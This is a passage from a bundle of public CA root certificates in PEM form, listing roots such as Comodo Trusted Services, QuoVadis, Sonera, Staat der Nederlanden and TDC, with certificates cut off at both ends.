DXE97IMzbtFuMhbsmMcWi1mmNKsFVy2T96oTy9IT4rcuO81rUBcJaD61JlfutuC23bkpgHl9j6Pw pCikFcSF9CfUa7/lXORlAnZUtOM3ZiTTGWHIUhDlizeauan5Hb/qmZJhlv8BzaFfDbxxvA6sCx1H RR3B7Hzs/Sk= -----END CERTIFICATE----- Comodo Trusted Services root ============================ -----BEGIN CERTIFICATE----- MIIEQzCCAyugAwIBAgIBATANBgkqhkiG9w0BAQUFADB/MQswCQYDVQQGEwJHQjEbMBkGA1UECAwS R3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHDAdTYWxmb3JkMRowGAYDVQQKDBFDb21vZG8gQ0Eg TGltaXRlZDElMCMGA1UEAwwcVHJ1c3RlZCBDZXJ0aWZpY2F0ZSBTZXJ2aWNlczAeFw0wNDAxMDEw MDAwMDBaFw0yODEyMzEyMzU5NTlaMH8xCzAJBgNVBAYTAkdCMRswGQYDVQQIDBJHcmVhdGVyIE1h bmNoZXN0ZXIxEDAOBgNVBAcMB1NhbGZvcmQxGjAYBgNVBAoMEUNvbW9kbyBDQSBMaW1pdGVkMSUw IwYDVQQDDBxUcnVzdGVkIENlcnRpZmljYXRlIFNlcnZpY2VzMIIBIjANBgkqhkiG9w0BAQEFAAOC AQ8AMIIBCgKCAQEA33FvNlhTWvI2VFeAxHQIIO0Yfyod5jWaHiWsnOWWfnJSoBVC21ndZHoa0Lh7 3TkVvFVIxO06AOoxEbrycXQaZ7jPM8yoMa+j49d/vzMtTGo87IvDktJTdyR0nAducPy9C1t2ul/y /9c3S0pgePfw+spwtOpZqqPOSC+pw7ILfhdyFgymBwwbOM/JYrc/oJOlh0Hyt3BAd9i+FHzjqMB6 juljatEPmsbS9Is6FARW1O24zG71++IsWL1/T2sr92AkWCTOJu80kTrV44HQsvAEAtdbtz6SrGsS ivnkBbA7kUlcsutT6vifR4buv5XAwAaf0lteERv0xwQ1KdJVXOTt6wIDAQABo4HJMIHGMB0GA1Ud DgQWBBTFe1i97doladL3WRaoszLAeydb9DAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB /zCBgwYDVR0fBHwwejA8oDqgOIY2aHR0cDovL2NybC5jb21vZG9jYS5jb20vVHJ1c3RlZENlcnRp ZmljYXRlU2VydmljZXMuY3JsMDqgOKA2hjRodHRwOi8vY3JsLmNvbW9kby5uZXQvVHJ1c3RlZENl cnRpZmljYXRlU2VydmljZXMuY3JsMA0GCSqGSIb3DQEBBQUAA4IBAQDIk4E7ibSvuIQSTI3S8Ntw uleGFTQQuS9/HrCoiWChisJ3DFBKmwCL2Iv0QeLQg4pKHBQGsKNoBXAxMKdTmw7pSqBYaWcOrp32 pSxBvzwGa+RZzG0Q8ZZvH9/0BAKkn0U+yNj6NkZEUD+Cl5EfKNsYEYwq5GWDVxISjBc/lDb+XbDA BHcTuPQV1T84zJQ6VdCsmPW6AF/ghhmBeC8owH7TzEIK9a5QoNE+xqFx7D+gIIxmOom0jtTYsU0l R+4viMi14QVFwL4Ucd56/Y57fU0IlqUSc/AtyjcndBInTMu2l+nZrghtWjlA3QVHdWpaIbOjGM9O 9y5Xt5hwXsjEeLBi -----END CERTIFICATE----- QuoVadis Root CA ================ -----BEGIN CERTIFICATE----- MIIF0DCCBLigAwIBAgIEOrZQizANBgkqhkiG9w0BAQUFADB/MQswCQYDVQQGEwJCTTEZMBcGA1UE ChMQUXVvVmFkaXMgTGltaXRlZDElMCMGA1UECxMcUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0 eTEuMCwGA1UEAxMlUXVvVmFkaXMgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wMTAz MTkxODMzMzNaFw0yMTAzMTcxODMzMzNaMH8xCzAJBgNVBAYTAkJNMRkwFwYDVQQKExBRdW9WYWRp cyBMaW1pdGVkMSUwIwYDVQQLExxSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MS4wLAYDVQQD EyVRdW9WYWRpcyBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEAv2G1lVO6V/z68mcLOhrfEYBklbTRvM16z/Ypli4kVEAkOPcahdxYTMuk J0KX0J+DisPkBgNbAKVRHnAEdOLB1Dqr1607BxgFjv2DrOpm2RgbaIr1VxqYuvXtdj182d6UajtL F8HVj71lODqV0D1VNk7feVcxKh7YWWVJWCCYfqtffp/p1k3sg3Spx2zY7ilKhSoGFPlU5tPaZQeL YzcS19Dsw3sgQUSj7cugF+FxZc4dZjH3dgEZyH0DWLaVSR2mEiboxgx24ONmy+pdpibu5cxfvWen AScOospUxbF6lR1xHkopigPcakXBpBlebzbNw6Kwt/5cOOJSvPhEQ+aQuwIDAQABo4ICUjCCAk4w PQYIKwYBBQUHAQEEMTAvMC0GCCsGAQUFBzABhiFodHRwczovL29jc3AucXVvdmFkaXNvZmZzaG9y ZS5jb20wDwYDVR0TAQH/BAUwAwEB/zCCARoGA1UdIASCAREwggENMIIBCQYJKwYBBAG+WAABMIH7 MIHUBggrBgEFBQcCAjCBxxqBxFJlbGlhbmNlIG9uIHRoZSBRdW9WYWRpcyBSb290IENlcnRpZmlj YXRlIGJ5IGFueSBwYXJ0eSBhc3N1bWVzIGFjY2VwdGFuY2Ugb2YgdGhlIHRoZW4gYXBwbGljYWJs ZSBzdGFuZGFyZCB0ZXJtcyBhbmQgY29uZGl0aW9ucyBvZiB1c2UsIGNlcnRpZmljYXRpb24gcHJh Y3RpY2VzLCBhbmQgdGhlIFF1b1ZhZGlzIENlcnRpZmljYXRlIFBvbGljeS4wIgYIKwYBBQUHAgEW Fmh0dHA6Ly93d3cucXVvdmFkaXMuYm0wHQYDVR0OBBYEFItLbe3TKbkGGew5Oanwl4Rqy+/fMIGu BgNVHSMEgaYwgaOAFItLbe3TKbkGGew5Oanwl4Rqy+/foYGEpIGBMH8xCzAJBgNVBAYTAkJNMRkw FwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMSUwIwYDVQQLExxSb290IENlcnRpZmljYXRpb24gQXV0 aG9yaXR5MS4wLAYDVQQDEyVRdW9WYWRpcyBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5ggQ6 tlCLMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQUFAAOCAQEAitQUtf70mpKnGdSkfnIYj9lo fFIk3WdvOXrEql494liwTXCYhGHoG+NpGA7O+0dQoE7/8CQfvbLO9Sf87C9TqnN7Az10buYWnuul LsS/VidQK2K6vkscPFVcQR0kvoIgR13VRH56FmjffU1RcHhXHTMe/QKZnAzNCgVPx7uOpHX6Sm2x gI4JVrmcGmD+XcHXetwReNDWXcG31a0ymQM6isxUJTkxgXsTIlG6Rmyhu576BGxJJnSP0nPrzDCi 5upZIof4l/UO/erMkqQWxFIY6iHOsfHmhIHluqmGKPJDWl0Snawe2ajlCmqnf6CHKc/yiU3U7MXi 5nrQNiOKSnQ2+Q== -----END CERTIFICATE----- QuoVadis Root CA 2 ================== -----BEGIN CERTIFICATE----- MIIFtzCCA5+gAwIBAgICBQkwDQYJKoZIhvcNAQEFBQAwRTELMAkGA1UEBhMCQk0xGTAXBgNVBAoT EFF1b1ZhZGlzIExpbWl0ZWQxGzAZBgNVBAMTElF1b1ZhZGlzIFJvb3QgQ0EgMjAeFw0wNjExMjQx ODI3MDBaFw0zMTExMjQxODIzMzNaMEUxCzAJBgNVBAYTAkJNMRkwFwYDVQQKExBRdW9WYWRpcyBM aW1pdGVkMRswGQYDVQQDExJRdW9WYWRpcyBSb290IENBIDIwggIiMA0GCSqGSIb3DQEBAQUAA4IC DwAwggIKAoICAQCaGMpLlA0ALa8DKYrwD4HIrkwZhR0In6spRIXzL4GtMh6QRr+jhiYaHv5+HBg6 XJxgFyo6dIMzMH1hVBHL7avg5tKifvVrbxi3Cgst/ek+7wrGsxDp3MJGF/hd/aTa/55JWpzmM+Yk lvc/ulsrHHo1wtZn/qtmUIttKGAr79dgw8eTvI02kfN/+NsRE8Scd3bBrrcCaoF6qUWD4gXmuVbB lDePSHFjIuwXZQeVikvfj8ZaCuWw419eaxGrDPmF60Tp+ARz8un+XJiM9XOva7R+zdRcAitMOeGy lZUtQofX1bOQQ7dsE/He3fbE+Ik/0XX1ksOR1YqI0JDs3G3eicJlcZaLDQP9nL9bFqyS2+r+eXyt 66/3FsvbzSUr5R/7mp/iUcw6UwxI5g69ybR2BlLmEROFcmMDBOAENisgGQLodKcftslWZvB1Jdxn wQ5hYIizPtGo/KPaHbDRsSNU30R2be1B2MGyIrZTHN81Hdyhdyox5C315eXbyOD/5YDXC2Og/zOh D7osFRXql7PSorW+8oyWHhqPHWykYTe5hnMz15eWniN9gqRMgeKh0bpnX5UHoycR7hYQe7xFSkyy BNKr79X9DFHOUGoIMfmR2gyPZFwDwzqLID9ujWc9Otb+fVuIyV77zGHcizN300QyNQliBJIWENie J0f7OyHj+OsdWwIDAQABo4GwMIGtMA8GA1UdEwEB/wQFMAMBAf8wCwYDVR0PBAQDAgEGMB0GA1Ud DgQWBBQahGK8SEwzJQTU7tD2A8QZRtGUazBuBgNVHSMEZzBlgBQahGK8SEwzJQTU7tD2A8QZRtGU a6FJpEcwRTELMAkGA1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxGzAZBgNVBAMT ElF1b1ZhZGlzIFJvb3QgQ0EgMoICBQkwDQYJKoZIhvcNAQEFBQADggIBAD4KFk2fBluornFdLwUv Z+YTRYPENvbzwCYMDbVHZF34tHLJRqUDGCdViXh9duqWNIAXINzng/iN/Ae42l9NLmeyhP3ZRPx3 UIHmfLTJDQtyU/h2BwdBR5YM++CCJpNVjP4iH2BlfF/nJrP3MpCYUNQ3cVX2kiF495V5+vgtJodm VjB3pjd4M1IQWK4/YY7yarHvGH5KWWPKjaJW1acvvFYfzznB4vsKqBUsfU16Y8Zsl0Q80m/DShcK +JDSV6IZUaUtl0HaB0+pUNqQjZRG4T7wlP0QADj1O+hA4bRuVhogzG9Yje0uRY/W6ZM/57Es3zrW IozchLsib9D45MY56QSIPMO661V6bYCZJPVsAfv4l7CUW+v90m/xd2gNNWQjrLhVoQPRTUIZ3Ph1 WVaj+ahJefivDrkRoHy3au000LYmYjgahwz46P0u05B/B5EqHdZ+XIWDmbA4CD/pXvk1B+TJYm5X f6dQlfe6yJvmjqIBxdZmv3lh8zwc4bmCXF2gw+nYSL0ZohEUGW6yhhtoPkg3Goi3XZZenMfvJ2II 4pEZXNLxId26F0KCl3GBUzGpn/Z9Yr9y4aOTHcyKJloJONDO1w2AFrR4pTqHTI2KpdVGl/IsELm8 VCLAAVBpQ570su9t+Oza8eOx79+Rj1QqCyXBJhnEUhAFZdWCEOrCMc0u -----END CERTIFICATE----- QuoVadis Root CA 3 ================== -----BEGIN CERTIFICATE----- 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 -----END CERTIFICATE----- Security Communication Root CA ============================== -----BEGIN CERTIFICATE----- MIIDWjCCAkKgAwIBAgIBADANBgkqhkiG9w0BAQUFADBQMQswCQYDVQQGEwJKUDEYMBYGA1UEChMP U0VDT00gVHJ1c3QubmV0MScwJQYDVQQLEx5TZWN1cml0eSBDb21tdW5pY2F0aW9uIFJvb3RDQTEw HhcNMDMwOTMwMDQyMDQ5WhcNMjMwOTMwMDQyMDQ5WjBQMQswCQYDVQQGEwJKUDEYMBYGA1UEChMP U0VDT00gVHJ1c3QubmV0MScwJQYDVQQLEx5TZWN1cml0eSBDb21tdW5pY2F0aW9uIFJvb3RDQTEw ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCzs/5/022x7xZ8V6UMbXaKL0u/ZPtM7orw 8yl89f/uKuDp6bpbZCKamm8sOiZpUQWZJtzVHGpxxpp9Hp3dfGzGjGdnSj74cbAZJ6kJDKaVv0uM DPpVmDvY6CKhS3E4eayXkmmziX7qIWgGmBSWh9JhNrxtJ1aeV+7AwFb9Ms+k2Y7CI9eNqPPYJayX 5HA49LY6tJ07lyZDo6G8SVlyTCMwhwFY9k6+HGhWZq/NQV3Is00qVUarH9oe4kA92819uZKAnDfd DJZkndwi92SL32HeFZRSFaB9UslLqCHJxrHty8OVYNEP8Ktw+N/LTX7s1vqr2b1/VPKl6Xn62dZ2 JChzAgMBAAGjPzA9MB0GA1UdDgQWBBSgc0mZaNyFW2XjmygvV5+9M7wHSDALBgNVHQ8EBAMCAQYw DwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAaECpqLvkT115swW1F7NgE+vGkl3g 0dNq/vu+m22/xwVtWSDEHPC32oRYAmP6SBbvT6UL90qY8j+eG61Ha2POCEfrUj94nK9NrvjVT8+a mCoQQTlSxN3Zmw7vkwGusi7KaEIkQmywszo+zenaSMQVy+n5Bw+SUEmK3TGXX8npN6o7WWWXlDLJ s58+OmJYxUmtYg5xpTKqL8aJdkNAExNnPaJUJRDL8Try2frbSVa7pv6nQTXD4IhhyYjH3zYQIphZ 6rBK+1YWc26sTfcioU+tHXotRSflMMFe8toTyyVCUZVHA4xsIcx0Qu1T/zOLjw9XARYvz6buyXAi FL39vmwLAw== -----END CERTIFICATE----- Sonera Class 1 Root CA ====================== -----BEGIN CERTIFICATE----- MIIDIDCCAgigAwIBAgIBJDANBgkqhkiG9w0BAQUFADA5MQswCQYDVQQGEwJGSTEPMA0GA1UEChMG U29uZXJhMRkwFwYDVQQDExBTb25lcmEgQ2xhc3MxIENBMB4XDTAxMDQwNjEwNDkxM1oXDTIxMDQw NjEwNDkxM1owOTELMAkGA1UEBhMCRkkxDzANBgNVBAoTBlNvbmVyYTEZMBcGA1UEAxMQU29uZXJh IENsYXNzMSBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALWJHytPZwp5/8Ue+H88 7dF+2rDNbS82rDTG29lkFwhjMDMiikzujrsPDUJVyZ0upe/3p4zDq7mXy47vPxVnqIJyY1MPQYx9 EJUkoVqlBvqSV536pQHydekfvFYmUk54GWVYVQNYwBSujHxVX3BbdyMGNpfzJLWaRpXk3w0LBUXl 0fIdgrvGE+D+qnr9aTCU89JFhfzyMlsy3uhsXR/LpCJ0sICOXZT3BgBLqdReLjVQCfOAl/QMF645 2F/NM8EcyonCIvdFEu1eEpOdY6uCLrnrQkFEy0oaAIINnvmLVz5MxxftLItyM19yejhW1ebZrgUa HXVFsculJRwSVzb9IjcCAwEAAaMzMDEwDwYDVR0TAQH/BAUwAwEB/zARBgNVHQ4ECgQIR+IMi/ZT iFIwCwYDVR0PBAQDAgEGMA0GCSqGSIb3DQEBBQUAA4IBAQCLGrLJXWG04bkruVPRsoWdd44W7hE9 28Jj2VuXZfsSZ9gqXLar5V7DtxYvyOirHYr9qxp81V9jz9yw3Xe5qObSIjiHBxTZ/75Wtf0HDjxV yhbMp6Z3N/vbXB9OWQaHowND9Rart4S9Tu+fMTfwRvFAttEMpWT4Y14h21VOTzF2nBBhjrZTOqMR vq9tfB69ri3iDGnHhVNoomG6xT60eVR4ngrHAr5i0RGCS2UvkVrCqIexVmiUefkl98HVrhq4uz2P qYo4Ffdz0Fpg0YCw8NzVUM1O7pJIae2yIx4wzMiUyLb1O4Z/P6Yun/Y+LLWSlj7fLJOK/4GMDw9Z IRlXvVWa -----END CERTIFICATE----- Sonera Class 2 Root CA ====================== -----BEGIN CERTIFICATE----- MIIDIDCCAgigAwIBAgIBHTANBgkqhkiG9w0BAQUFADA5MQswCQYDVQQGEwJGSTEPMA0GA1UEChMG U29uZXJhMRkwFwYDVQQDExBTb25lcmEgQ2xhc3MyIENBMB4XDTAxMDQwNjA3Mjk0MFoXDTIxMDQw NjA3Mjk0MFowOTELMAkGA1UEBhMCRkkxDzANBgNVBAoTBlNvbmVyYTEZMBcGA1UEAxMQU29uZXJh IENsYXNzMiBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJAXSjWdyvANlsdE+hY3 /Ei9vX+ALTU74W+oZ6m/AxxNjG8yR9VBaKQTBME1DJqEQ/xcHf+Js+gXGM2RX/uJ4+q/Tl18GybT dXnt5oTjV+WtKcT0OijnpXuENmmz/V52vaMtmdOQTiMofRhj8VQ7Jp12W5dCsv+u8E7s3TmVToMG f+dJQMjFAbJUWmYdPfz56TwKnoG4cPABi+QjVHzIrviQHgCWctRUz2EjvOr7nQKV0ba5cTppCD8P tOFCx4j1P5iop7oc4HFx71hXgVB6XGt0Rg6DA5jDjqhu8nYybieDwnPz3BjotJPqdURrBGAgcVeH nfO+oJAjPYok4doh28MCAwEAAaMzMDEwDwYDVR0TAQH/BAUwAwEB/zARBgNVHQ4ECgQISqCqWITT XjwwCwYDVR0PBAQDAgEGMA0GCSqGSIb3DQEBBQUAA4IBAQBazof5FnIVV0sd2ZvnoiYw7JNn39Yt 0jSv9zilzqsWuasvfDXLrNAPtEwr/IDva4yRXzZ299uzGxnq9LIR/WFxRL8oszodv7ND6J+/3DEI cbCdjdY0RzKQxmUk96BKfARzjzlvF4xytb1LyHr4e4PDKE6cCepnP7JnBBvDFNr450kkkdAdavph Oe9r5yF1BgfYErQhIHBCcYHaPJo2vqZbDWpsmh+Re/n570K6Tk6ezAyNlNzZRZxe7EJQY670XcSx EtzKO6gunRRaBXW37Ndj4ro1tgQIkejanZz2ZrUYrAqmVCY0M9IbwdR/GjqOC6oybtv8TyWf2TLH llpwrN9M -----END CERTIFICATE----- Staat der Nederlanden Root CA ============================= -----BEGIN CERTIFICATE----- MIIDujCCAqKgAwIBAgIEAJiWijANBgkqhkiG9w0BAQUFADBVMQswCQYDVQQGEwJOTDEeMBwGA1UE ChMVU3RhYXQgZGVyIE5lZGVybGFuZGVuMSYwJAYDVQQDEx1TdGFhdCBkZXIgTmVkZXJsYW5kZW4g Um9vdCBDQTAeFw0wMjEyMTcwOTIzNDlaFw0xNTEyMTYwOTE1MzhaMFUxCzAJBgNVBAYTAk5MMR4w HAYDVQQKExVTdGFhdCBkZXIgTmVkZXJsYW5kZW4xJjAkBgNVBAMTHVN0YWF0IGRlciBOZWRlcmxh bmRlbiBSb290IENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmNK1URF6gaYUmHFt vsznExvWJw56s2oYHLZhWtVhCb/ekBPHZ+7d89rFDBKeNVU+LCeIQGv33N0iYfXCxw719tV2U02P jLwYdjeFnejKScfST5gTCaI+Ioicf9byEGW07l8Y1Rfj+MX94p2i71MOhXeiD+EwR+4A5zN9RGca C1Hoi6CeUJhoNFIfLm0B8mBF8jHrqTFoKbt6QZ7GGX+UtFE5A3+y3qcym7RHjm+0Sq7lr7HcsBth vJly3uSJt3omXdozSVtSnA71iq3DuD3oBmrC1SoLbHuEvVYFy4ZlkuxEK7COudxwC0barbxjiDn6 22r+I/q85Ej0ZytqERAhSQIDAQABo4GRMIGOMAwGA1UdEwQFMAMBAf8wTwYDVR0gBEgwRjBEBgRV HSAAMDwwOgYIKwYBBQUHAgEWLmh0dHA6Ly93d3cucGtpb3ZlcmhlaWQubmwvcG9saWNpZXMvcm9v dC1wb2xpY3kwDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBSofeu8Y6R0E3QA7Jbg0zTBLL9s+DAN BgkqhkiG9w0BAQUFAAOCAQEABYSHVXQ2YcG70dTGFagTtJ+k/rvuFbQvBgwp8qiSpGEN/KtcCFtR EytNwiphyPgJWPwtArI5fZlmgb9uXJVFIGzmeafR2Bwp/MIgJ1HI8XxdNGdphREwxgDS1/PTfLbw MVcoEoJz6TMvplW0C5GUR5z6u3pCMuiufi3IvKwUv9kP2Vv8wfl6leF9fpb8cbDCTMjfRTTJzg3y nGQI0DvDKcWy7ZAEwbEpkcUwb8GpcjPM/l0WFywRaed+/sWDCN+83CI6LiBpIzlWYGeQiy52OfsR iJf2fL1LuCAWZwWN4jvBcj+UlTfHXbme2JOhF4//DGYVwSR8MnwDHTuhWEUykw== -----END CERTIFICATE----- TDC Internet Root CA ==================== -----BEGIN CERTIFICATE----- MIIEKzCCAxOgAwIBAgIEOsylTDANBgkqhkiG9w0BAQUFADBDMQswCQYDVQQGEwJESzEVMBMGA1UE ChMMVERDIEludGVybmV0MR0wGwYDVQQLExRUREMgSW50ZXJuZXQgUm9vdCBDQTAeFw0wMTA0MDUx NjMzMTdaFw0yMTA0MDUxNzAzMTdaMEMxCzAJBgNVBAYTAkRLMRUwEwYDVQQKEwxUREMgSW50ZXJu ZXQxHTAbBgNVBAsTFFREQyBJbnRlcm5ldCBSb290IENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A MIIBCgKCAQEAxLhAvJHVYx/XmaCLDEAedLdInUaMArLgJF/wGROnN4NrXceO+YQwzho7+vvOi20j xsNuZp+Jpd/gQlBn+h9sHvTQBda/ytZO5GhgbEaqHF1j4QeGDmUApy6mcca8uYGoOn0a0vnRrEvL znWv3Hv6gXPU/Lq9QYjUdLP5Xjg6PEOo0pVOd20TDJ2PeAG3WiAfAzc14izbSysseLlJ28TQx5yc 5IogCSEWVmb/Bexb4/DPqyQkXsN/cHoSxNK1EKC2IeGNeGlVRGn1ypYcNIUXJXfi9i8nmHj9eQY6 otZaQ8H/7AQ77hPv01ha/5Lr7K7a8jcDR0G2l8ktCkEiu7vmpwIDAQABo4IBJTCCASEwEQYJYIZI AYb4QgEBBAQDAgAHMGUGA1UdHwReMFwwWqBYoFakVDBSMQswCQYDVQQGEwJESzEVMBMGA1UEChMM VERDIEludGVybmV0MR0wGwYDVQQLExRUREMgSW50ZXJuZXQgUm9vdCBDQTENMAsGA1UEAxMEQ1JM MTArBgNVHRAEJDAigA8yMDAxMDQwNTE2MzMxN1qBDzIwMjEwNDA1MTcwMzE3WjALBgNVHQ8EBAMC AQYwHwYDVR0jBBgwFoAUbGQBx/2FbazI2p5QCIUItTxWqFAwHQYDVR0OBBYEFGxkAcf9hW2syNqe UAiFCLU8VqhQMAwGA1UdEwQFMAMBAf8wHQYJKoZIhvZ9B0EABBAwDhsIVjUuMDo0LjADAgSQMA0G CSqGSIb3DQEBBQUAA4IBAQBOQ8zR3R0QGwZ/t6T609lN+yOfI1Rb5osvBCiLtSdtiaHsmGnc540m gwV5dOy0uaOXwTUA/RXaOYE6lTGQ3pfphqiZdwzlWqCE/xIWrG64jcN7ksKsLtB9KOy282A4aW8+ 2ARVPp7MVdK6/rtHBNcK2RYKNCn1WBPVT8+PVkuzHu7TmHnaCB4Mb7j4Fifvwm899qNLPg7kbWzb O0ESm70NRyN/PErQr8Cv9u8btRXE64PECV90i9kR+8JWsTz4cMo0jUNAE4z9mQNUecYu6oah9jrU Cbz0vGbMPVjQV0kK7iXiQe4T+Zs4NNEA9X7nlB38aQNiuJkFBT1reBK9sG9l -----END CERTIFICATE----- TDC OCES Root CA ================ -----BEGIN CERTIFICATE----- MIIFGTCCBAGgAwIBAgIEPki9xDANBgkqhkiG9w0BAQUFADAxMQswCQYDVQQGEwJESzEMMAoGA1UE ChMDVERDMRQwEgYDVQQDEwtUREMgT0NFUyBDQTAeFw0wMzAyMTEwODM5MzBaFw0zNzAyMTEwOTA5 MzBaMDExCzAJBgNVBAYTAkRLMQwwCgYDVQQKEwNUREMxFDASBgNVBAMTC1REQyBPQ0VTIENBMIIB IjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArGL2YSCyz8DGhdfjeebM7fI5kqSXLmSjhFuH nEz9pPPEXyG9VhDr2y5h7JNp46PMvZnDBfwGuMo2HP6QjklMxFaaL1a8z3sM8W9Hpg1DTeLpHTk0 zY0s2RKY+ePhwUp8hjjEqcRhiNJerxomTdXkoCJHhNlktxmW/OwZ5LKXJk5KTMuPJItUGBxIYXvV iGjaXbXqzRowwYCDdlCqT9HU3Tjw7xb04QxQBr/q+3pJoSgrHPb8FTKjdGqPqcNiKXEx5TukYBde dObaE+3pHx8b0bJoc8YQNHVGEBDjkAB2QMuLt0MJIf+rTpPGWOmlgtt3xDqZsXKVSQTwtyv6e1mO 3QIDAQABo4ICNzCCAjMwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwgewGA1UdIASB 5DCB4TCB3gYIKoFQgSkBAQEwgdEwLwYIKwYBBQUHAgEWI2h0dHA6Ly93d3cuY2VydGlmaWthdC5k ay9yZXBvc2l0b3J5MIGdBggrBgEFBQcCAjCBkDAKFgNUREMwAwIBARqBgUNlcnRpZmlrYXRlciBm cmEgZGVubmUgQ0EgdWRzdGVkZXMgdW5kZXIgT0lEIDEuMi4yMDguMTY5LjEuMS4xLiBDZXJ0aWZp Y2F0ZXMgZnJvbSB0aGlzIENBIGFyZSBpc3N1ZWQgdW5kZXIgT0lEIDEuMi4yMDguMTY5LjEuMS4x LjARBglghkgBhvhCAQEEBAMCAAcwgYEGA1UdHwR6MHgwSKBGoESkQjBAMQswCQYDVQQGEwJESzEM MAoGA1UEChMDVERDMRQwEgYDVQQDEwtUREMgT0NFUyBDQTENMAsGA1UEAxMEQ1JMMTAsoCqgKIYm aHR0cDovL2NybC5vY2VzLmNlcnRpZmlrYXQuZGsvb2Nlcy5jcmwwKwYDVR0QBCQwIoAPMjAwMzAy MTEwODM5MzBagQ8yMDM3MDIxMTA5MDkzMFowHwYDVR0jBBgwFoAUYLWF7FZkfhIZJ2cdUBVLc647 